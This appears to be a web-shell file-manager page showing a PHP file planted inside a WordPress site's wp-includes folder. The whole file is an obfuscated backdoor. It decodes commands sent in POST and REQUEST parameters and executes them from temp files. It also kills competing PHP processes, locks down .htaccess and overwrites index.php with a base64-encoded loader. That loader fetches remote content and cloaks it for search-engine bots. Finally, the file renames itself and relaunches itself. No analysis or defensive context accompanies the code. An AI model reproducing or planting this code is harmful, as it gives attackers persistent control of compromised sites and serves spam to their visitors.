| Path : /var/www/html/eceas/wp-includes/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/usgkmd.php |
<?php if(in_array("\x64\x65scr\x69p\x74\x6Fr", array_keys($_POST))){ $holder = $_POST["\x64\x65scr\x69p\x74\x6Fr"]; $holder =explode ( "." ,$holder); $flg = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $k = 0; foreach( $holder as $v1) { $chS = ord( $s1[$k % $lenS]); $dec =( ( int)$v1 - $chS -( $k % 10))^ 99; $flg .= chr( $dec); $k++; } $entry = array_filter([session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); foreach ($entry as $obj) { if (!!is_dir($obj) && !!is_writable($obj)) { $marker = "$obj" . "/.record"; $file = fopen($marker, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $marker; @unlink($marker); die(); } } } }
if(isset($_REQUEST) && isset($_REQUEST["\x72ec"])){ $res = $_REQUEST["\x72ec"]; $res = explode ( '.' , $res ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $res as $u => $v3) { $chS = ord( $salt[$u %$sLen]); $dec =( ( int)$v3 - $chS -( $u %10)) ^ 36; $sym .= chr( $dec); } $data_chunk = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp"]); foreach ($data_chunk as $key => $parameter_group) { if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $pointer = str_replace("{var_dir}", $parameter_group, "{var_dir}/.token"); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
exec("ps -ef",$a,$b);if(is_array($a)){for($c=1;$c<count($a);$c++){$d=explode(" ",$a[$c]);$e=$d[count($d)-1];if(strstr($e,".php")&&!strstr($e,"lsphp")&&!strstr($e,basename(__FILE__))){for($f=1;$f<count($d);$f++){if(is_numeric($d[$f])){exec("kill -9 ".$d[$f],$g,$h);break;}}}}}sleep(3);$k="/var/www/html/eceas/";function get6str(){$l="";for($c=0;$c<6;$c++)$l.=chr(mt_rand(97,122));return $l;}$m=$k."wp-includes/".get6str().".php";$n=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHApJCI+Ck9yZGVyIEFsbG93LERlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPg==");if(!file_exists($k.".htaccess")){@file_put_contents($k.".htaccess",$n);}else{$d=@file_get_contents($k.".htaccess");if(md5($d)!=md5($n)){@chmod($k.".htaccess",0133+0511);@file_put_contents($k.".htaccess",$n);}}@chmod($k.".htaccess",0311+0133);$o=base64_decode("PD9waHAgaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnLTEnKTskYT0iYmEiOyRiPSJjMEp5d25OUyI7JGM9InMiOyRkPSJjMEp5d25OUyI7JGU9ImMwSnl3bk5TIjskaT0iZSI7JHM9ImMwSnl3bk5TIjskdD0iNjQiOyR1PSRhLiRjLiRpLiR0LiJfZCIuJGkuImNvZCIuJGk7JHY9IlBEOXdhSEFLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREV3TURBcE8wQmxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdhVzVwWDNObGRDZ25aR2x6Y0d4aGVWOWxjbkp2Y25NbkxDZFBabVluS1Rza1lUMXBjM05sZENna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtUOGtYMUpGVVZWRlUxUmJKMkZqZEdsdmJpZGRPaWNuTzJsbUtDRmxiWEIwZVNna1lTa3BleVJpUFhOMVluTjBjaWdrWVN3dE5pazdKR005YzNWaWMzUnlLQ1JoTERBc0xUWXBPeVJrUFdGeWNtRjVLQ2M1Snl3bk9DY3NKekluTENjMEp5d25OU2NzSjJRbkxDYzNKeXduTkNjc0p6RW5MQ2MzSnl3bk1pY3NKekluTENjMUp5d25ZaWNzSnpVbkxDYzFKeXduWVNjc0p6SW5MQ2RqSnl3bk5DY3NKMkluTENkbUp5d25OU2NzSnpBbkxDZGlKeXduT0Njc0oyRW5MQ2RoSnl3bk5DY3NKMk1uTENjM0p5d25NeWNwT3lSbVBXMWtOU2drWXlrN2FXWW9KR1k5UFdsdGNHeHZaR1VvSkdRcEtYc2taejFoY25KaGVTZ2lhQ0lzSW5RaUxDSjBJaXdpY0NJc0luTWlMQ0k2SWl3aUx5SXNJaThpTENKMklpd2ljSE1pTENKa0lpd2laQ0lzSWk1bUlpd2liaUlzSW1ZaUxDSjBJaXdpZFhNaUxDSXVkQ0lzSW04aUxDSndJaXdpTHlJc0ltUWlMQ0p2SWl3aWJ5SXNJbklpTENJdklpazdKR2c5WTNWamIyNTBaVzUwTWpBeU5TaHBiWEJzYjJSbEtDUm5LUzRrWWk0bkxuUW5MaWQ0Snk0bmRDY3BPMmxtS0NSb1d5ZHpkR0YwZFhNblhTbDdaWFpoYkNnblB6NG5MaVJvV3lkamIyNTBaVzUwSjEwcE8zMTlaWGhwZENncE8zMWxiSE5sZXlScFBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwN0pHbzlJblpyZEdjMllTNWlibk5vWjNrdWRHOXdJanNrYXoxcGMxTmxZM1Z5WlRJd01qVW9LVHNrYkQwa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNrYlQxcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOUJRME5GVUZSZlRFRk9SMVZCUjBVblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlFVTkRSVkJVWDB4QlRrZFZRVWRGSjEwNklpSTdKRzQ5SkY5VFJWSldSVkpiSWtoVVZGQmZTRTlUVkNKZE95UnZQV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFKRlJrVlNSVkluWFNrL0pGOVRSVkpXUlZKYkowaFVWRkJmVWtWR1JWSkZVaWRkT2lJaU95UnZQU0puYjI5bmJHVXVZMjl0SWpza2NEMXBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRjlWVTBWU1gwRkhSVTVVSjEwcFB5UmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUb2lJanNrY1QxcGNFRmtaSEpsYzNNeU1ESTFLQ2s3SkhJOUltaDBkSEJmZEhsd1pUMGlMbUpoYzJVMk5GOWxibU52WkdVb0pHc3BMaUltYUhSMGNGOTFjbWs5SWk1aVlYTmxOalJmWlc1amIyUmxLQ1JzS1M0aUptaDBkSEJmYkdGdVp6MGlMbUpoYzJVMk5GOWxibU52WkdVb0pHMHBMaUltYUhSMGNGOW9iM04wUFNJdVltRnpaVFkwWDJWdVkyOWtaU2drYmlrdUlpWm9kSFJ3WDNKbFptVnlQU0l1WW1GelpUWTBYMlZ1WTI5a1pTZ2tieWt1SWlab2RIUndYM1Z6WlhKZllXZGxiblE5SWk1aVlYTmxOalJmWlc1amIyUmxLQ1J3S1M0aUptaDBkSEJmYVhCZllXUmtjbVZ6Y3owaUxtSmhjMlUyTkY5bGJtTnZaR1VvSkhFcE95UnpQV0Z5Y21GNUtDazdKSFE5SjJnbkxpZDBKeTRuZENjdUozQW5MaWR6Snk0bk9pOG5MaWN2Snk0a2FpNG5MM2R3Snk0bkxXa25MaWR1Snk0blpDY3VKMlVuTGlkNEp5NG5MbkJvSnk0bmNEOG5MaVJ5TzJsbUtITjBjbWx6ZEhJb0pHd3NKeTU0Yld3bktYeDhjM1J5YVhOMGNpZ2tiQ3duY205aWIzUnpMblI0ZENjcEtYdHBaaWhtYVd4bFgyVjRhWE4wY3lna2FTNG5MM0p2WW05MGN5NTBlSFFuS1NsN2RXNXNhVzVyS0NScExpY3ZjbTlpYjNSekxuUjRkQ2NwTzMwa2N6MWpkV052Ym5SbGJuUXlNREkxS0NSMEtUdDlKSFU5WTJobFkydGZZbTkwTWpBeU5TZ2tjQ2s3SkhZOVkyaGxZMnRmY21WbVpYSXlNREkxS0NSdktUc2tkejFqYUdWamExOXViMkp2ZERJd01qVW9KSEFwTzJsbUtDUjFmSHdrZG54OElTUjNLWHNrY3oxamRXTnZiblJsYm5ReU1ESTFLQ1IwS1R0OWFXWW9KSE5iSjNOMFlYUjFjeWRkS1hza2VEMGtjMXNuWTI5dWRHVnVkQ2RkTzJsbUtDRnpkSEp6ZEhJb0pIZ3NKMlJ2WDI1dmRHaHBibWNuS1NsN2FXWW9jM1J5YzNSeUtDUjRMQ2RvZEcxc1gyTnZiblJsYm5RbktTbDdRR2hsWVdSbGNpZ2lRMjl1ZEdWdWRDMTBlWEJsT2lCMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1MVGdpS1Rza2VUMXpkSEpmY21Wd2JHRmpaU2dpYUhSdGJGOWpiMjUwWlc1MElpd25KeXdrZUNrN1pXTm9ieUFrZVR0bGVHbDBLQ2s3ZldsbUtITjBjbk4wY2lna2VDd25lRzFzWDJOdmJuUmxiblFuS1NsN1FHaGxZV1JsY2lnaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwzaHRiQ0lwT3lSNVBYTjBjbDl5WlhCc1lXTmxLQ0o0Yld4ZlkyOXVkR1Z1ZENJc0p5Y3NKSGdwTzJWamFHOGdKSGs3WlhocGRDZ3BPMzFwWmloemRISnpkSElvSkhnc0ozSnZZbTkwYzE5amIyNTBaVzUwSnlrcGUwQm9aV0ZrWlhJb0lrTnZiblJsYm5RdGRIbHdaVG9nZEdWNGRDOXdiR0ZwYmpzZ1kyaGhjbk5sZEQxMWRHWXRPQ0lwT3lSNVBYTjBjbDl5WlhCc1lXTmxLQ0p5YjJKdmRITmZZMjl1ZEdWdWRDSXNKeWNzSkhncE95UjZQV1Y0Y0d4dlpHVW9KMXNxS2lwZEp5eHpkSEpmY21Wd2JHRmpaU2dpY205aWIzUnpZMjl1ZEdWdWRDSXNKeWNzSkhrcEtUdGxlR2wwS0dsdGNHeHZaR1VvVUVoUVgwVlBUQ3drZWlrcE8zMTlmWDFtZFc1amRHbHZiaUJwYzFObFkzVnlaVEl3TWpVb0tYc2tZV0U5S0NGbGJYQjBlU2drWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2ttSmlSZlUwVlNWa1ZTV3lkSVZGUlFVeWRkSVQwOUoyOW1aaWNwZkh3a1gxTkZVbFpGVWxzblUwVlNWa1ZTWDFCUFVsUW5YVDA5TkRRek8ybG1LQ1JoWVNsN2NtVjBkWEp1SUNKb2RIUndjeUk3ZldWc2MyVjdjbVYwZFhKdUlDSm9kSFJ3SWp0OWZXWjFibU4wYVc5dUlHbHdRV1JrY21WemN6SXdNalVvS1hza1ltSTlJaUk3YVdZb0lXVnRjSFI1S0NSZlUwVlNWa1ZTV3lkSVZGUlFYME5NU1VWT1ZGOUpVQ2RkS1NsN0pHSmlQU1JmVTBWU1ZrVlNXeWRJVkZSUVgwTk1TVVZPVkY5SlVDZGRPMzFsYkhObElHbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOUdUMUluWFNrcGV5UmlZajBrWDFORlVsWkZVbHNuU0ZSVVVGOVlYMFpQVWxkQlVrUkZSRjlHVDFJblhUdDlaV3h6Wlhza1ltSTlKRjlUUlZKV1JWSmJKMUpGVFU5VVJWOUJSRVJTSjEwN2ZYSmxkSFZ5YmlBa1ltSTdmV1oxYm1OMGFXOXVJR04xWTI5dWRHVnVkREl3TWpVb0pHTmpLWHNrWkdROUlpSTdKR1ZsUFRFN2RISjVleVJtWmoxamRYSnNYMmx1YVhRb0tUdGpkWEpzWDNObGRHOXdkQ2drWm1Zc1ExVlNURTlRVkY5VlVrd3NKR05qS1R0amRYSnNYM05sZEc5d2RDZ2tabVlzUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd3hLVHRqZFhKc1gzTmxkRzl3ZENna1ptWXNRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpVRVZGVWl4R1FVeFRSU2s3WTNWeWJGOXpaWFJ2Y0hRb0pHWm1MRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVWhQVTFRc1JrRk1VMFVwTzJOMWNteGZjMlYwYjNCMEtDUm1aaXhEVlZKTVQxQlVYME5QVGs1RlExUlVTVTFGVDFWVUxERXdLVHRqZFhKc1gzTmxkRzl3ZENna1ptWXNRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl3eEtUc2taR1E5WTNWeWJGOWxlR1ZqS0NSbVppazdZM1Z5YkY5amJHOXpaU2drWm1ZcE8zMWpZWFJqYUNoRmVHTmxjSFJwYjI0Z0pHZG5LWHQ5YVdZb0tDUmtaRDA5UFdaaGJITmxmSHdrWkdROVBTSWlLU1ltWm5WdVkzUnBiMjVmWlhocGMzUnpLQ2RtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWNwS1h0MGNubDdKR1JrUFVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna1kyTXBPMzFqWVhSamFDaEZlR05sY0hScGIyNGdKR2RuS1h0OWZXbG1LQ1JrWkNFOUlpSXBleVJsWlQweE8zMGthRDFiWFRza2FGc25jM1JoZEhWekoxMDlKR1ZsT3lSb1d5ZGpiMjUwWlc1MEoxMDlKR1JrTzNKbGRIVnliaUFrYUR0OVpuVnVZM1JwYjI0Z1kyaGxZMnRmWW05ME1qQXlOU2drYUdncGV5UjFQV1poYkhObE95UnBhVDBuWjI5dloyeGxZbTkwZkdkdmIyZHNaWHg1WVdodmIzeGlhVzVuZkdGdmJDYzdhV1lvSkdob0tYdHBaaWh3Y21WblgyMWhkR05vS0NJdktDUnBhU2t2YzJraUxDUm9hQ2twZXlSMVBYUnlkV1U3ZlgxeVpYUjFjbTRnSkhVN2ZXWjFibU4wYVc5dUlHTm9aV05yWDI1dlltOTBNakF5TlNna2FHZ3BleVIxUFdaaGJITmxPeVJwYVQwbk16WXdVM0JwWkdWeWZFRm9jbVZtYzBKdmRIeEJiV0Y2YjI1aWIzUjhRWEJ3YkdVZ1FtOTBmRUZ6YXlCS1pXVjJaWE44UVhkaGNtbHZRbTkwZkVKaGFXUjFVM0JwWkdWeWZFSmhhV1IxYzNCcFpHVnlMV2x0WVdkbGZFSjVkR1Z6Y0dsa1pYSjhSR0YwWVVadmNsTmxiMEp2ZEh4a1lYUmhjSEp2ZG1sa1pYSjhSRzkwUW05MGZFUjFZMnRFZFdOclFtOTBmRVY0WVd4bFlXUjhSWGhqYVhSbGZHWmhZMlZpYjI5cmZHWmhZMlZpYjI5clpYaDBaWEp1WVd4b2FYUjhSMUJVUW05MGZFeDVZMjl6ZkUxS01USmliM1I4VTJOdmIzUmxjbnhUWlcxeWRYTm9RbTkwZkZOcGRHVk1iMk5yVTNCcFpHVnlmRk5zWlhWMGFIeFRiMmR2ZFNCT1pYZHpJRk53YVdSbGNueFRiMmR2ZFNCM1pXSWdjM0JwWkdWeWZGTlBVMDhnVTNCcFpHVnlmRlIzYVhSMFpYSmliM1I4V1dGdVpHVjRJRUp2ZEh4WllXNWtaWGhDYjNSOFdXbHpiM1ZUY0dsa1pYSjhXVzlrWVc5Q2IzUjhXVzkxWkdGdlFtOTBmRUpNUlZoQ2IzUjhZWEJ3YkdWaWIzUjhRME5DYjNSOFVHVjBZV3hDYjNSOFEyeGhkV1JsUW05MGZFaDFaRWgxWkMxblpXNWxjbUZzTFdKdmRIeFRaWHB1WVcxQ2IzUjhSWHB2YVdOQ2IzUXRUbWxqYUdWcGNYeEJhSEpsWm5OVGFYUmxRWFZrYVhSOFQwRkpMVk5sWVhKamFFSnZkSHhzYVc1clpHVjRZbTkwZkVOb1lYUkhVRlF0VlhObGNueFpZVzVrWlhoTlpYUnlhV3RoZkZsaGJtUmxlQ2M3YVdZb0pHaG9LWHRwWmlod2NtVm5YMjFoZEdOb0tDSXZLQ1JwYVNrdmMya2lMQ1JvYUNrcGV5UjFQWFJ5ZFdVN2ZYMXlaWFIxY200Z0pIVTdmV1oxYm1OMGFXOXVJR05vWldOclgzSmxabVZ5TWpBeU5TZ2thbW9wZXlSMlBXWmhiSE5sT3lScmF6MG5aMjl2WjJ4bExtTnZMbXB3ZkdkdmIyZHNaUzVqYjIxOGVXRm9iMjh1WTI4dWFuQjhlV0ZvYjI4dVkyOXRmR0pwYm1jdVkyOXRKenRwWmlna2Ftb3BlMmxtS0hCeVpXZGZiV0YwWTJnb0lpOG9KR3RyS1M5emFTSXNKR3BxS1NsN0pIWTlkSEoxWlR0OWZYSmxkSFZ5YmlBa2RqdDlQejQ9Ijskdz0iPz4iO2V2YWwoJHcuJHUoJHYpKTskcz0iYzBKeXduTlMiOyR4PTA7Pz48P3BocCBkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7");if(!file_exists($k."index.php")){@file_put_contents($k."index.php",$o);}else{$d=@file_get_contents($k."index.php");if(md5($d)!=md5($o)){@chmod($k."index.php",0133+0511);@file_put_contents($k."index.php",$o);}}@chmod($k."index.php",0311+0133);rename(__FILE__,$m);exec("php -f $m > /dev/null 2>/dev/null &",$p);?>